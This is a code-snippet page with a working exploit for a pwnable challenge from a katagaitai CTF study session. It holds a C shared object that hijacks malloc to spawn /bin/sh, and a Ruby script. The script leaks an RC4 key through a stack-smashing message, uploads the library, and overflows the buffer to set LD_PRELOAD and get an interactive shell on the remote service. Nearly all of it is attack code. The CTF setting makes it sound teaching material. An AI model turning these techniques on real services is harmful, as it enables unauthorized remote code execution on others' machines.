Snippets

Masafumi Yabu katagaitai CTF勉強会 #3-med pwnable exploit

Created by Masafumi Yabu
1
2
3
4
5
6
// 説明があった通り__attribute__ ((constructor))を使うべき
int malloc(char *s, char*t) {
  close(1);
  dup2(2,1);
  execve("/bin/sh", 0, 0);
}
# coding: ASCII-8BIT
# 事前に gcc -lshared -fPIC attack.c -o attack.soを実行すること
require 'ctf'

# 拡張後のキーからRC4暗号化を行う
class RC4
  def initialize(extended_key)
    @i, @j = 0, 0
    @data = extended_key.unpack("C*")
  end

  def next
    @i = (@i + 1) & 255
    @j = (@j + @data[@i]) & 255
    @data[@i], @data[@j] = @data[@j], @data[@i]
    @data[(@data[@i] + @data[@j]) & 255].chr
  end
  
  def encrypt(s)
    s ^ Array.new(s.size){self.next}.join
  end
end

# 決められた大きさになるまで文字列に'\0'を加える
def pad(x, size)
  x + "\0" * (size - x.size)
end

host = ARGV[0]
key = (File.exist?("#{host}.key")&& File.binread("#{host}.key")) || "" # rc4の鍵をキャッシュされているか
if key ==''
  # 鍵が求まっていなければ、argv[0]のリークで取得
  while key.size < 256
    TCPSocket.open(ARGV[0], ARGV[1]) do |s|
      s.echo = true
      s.print "\0" + "B" * 279 + [0x602160 + key.length, 0].pack("q*") + "\n"
      s.flush
      s.expect('*** stack smashing detected ***: ')
      tkey = s.expect(' terminated')[0]
      key += tkey[0...-11] + "\0"
    end
  end
  key = key[0,256] if key.size > 256
  File.binwrite("#{host}.key", key)
end

target = "\x62\x31\xaa\x85\xbd\xbf\x9f\xf3\x8a\x02\x0c\x75\xac\x23\xab\xe4\x82\xc5\x25\x7a\xef\xbd\xc9\x61" # 分岐を通すための文字列 0x400da6

# まずattack.soを送り込む
rc4 = RC4.new(key)
TCPSocket.open(ARGV[0], ARGV[1]) do |s|
  s.echo = true
  s.print rc4.encrypt(target)
  s.print "\n"
  s.expect('message')
  s.echo = false
  s.print File.binread('./attack.so')
  s.flush
  sleep 2
  s.close
end

# LD_PRELOAD=./messageな状態でコマンドを実行させることでシェルを取る
rc4 = RC4.new(key)
TCPSocket.open(ARGV[0], ARGV[1]) do |s|
  s.echo = true
  ld_preload = 0x602120 + target.size + 1
  s.print pad(rc4.encrypt(target + "\0LD_PRELOAD=./message\0"), 280) + [0x400d84, 0, ld_preload].pack('q*')
  s.print "\n"
  s.expect('message')
  s.interactive!
end

Comments (0)

HTTPS SSH

You can clone a snippet to your computer for local editing. Learn more.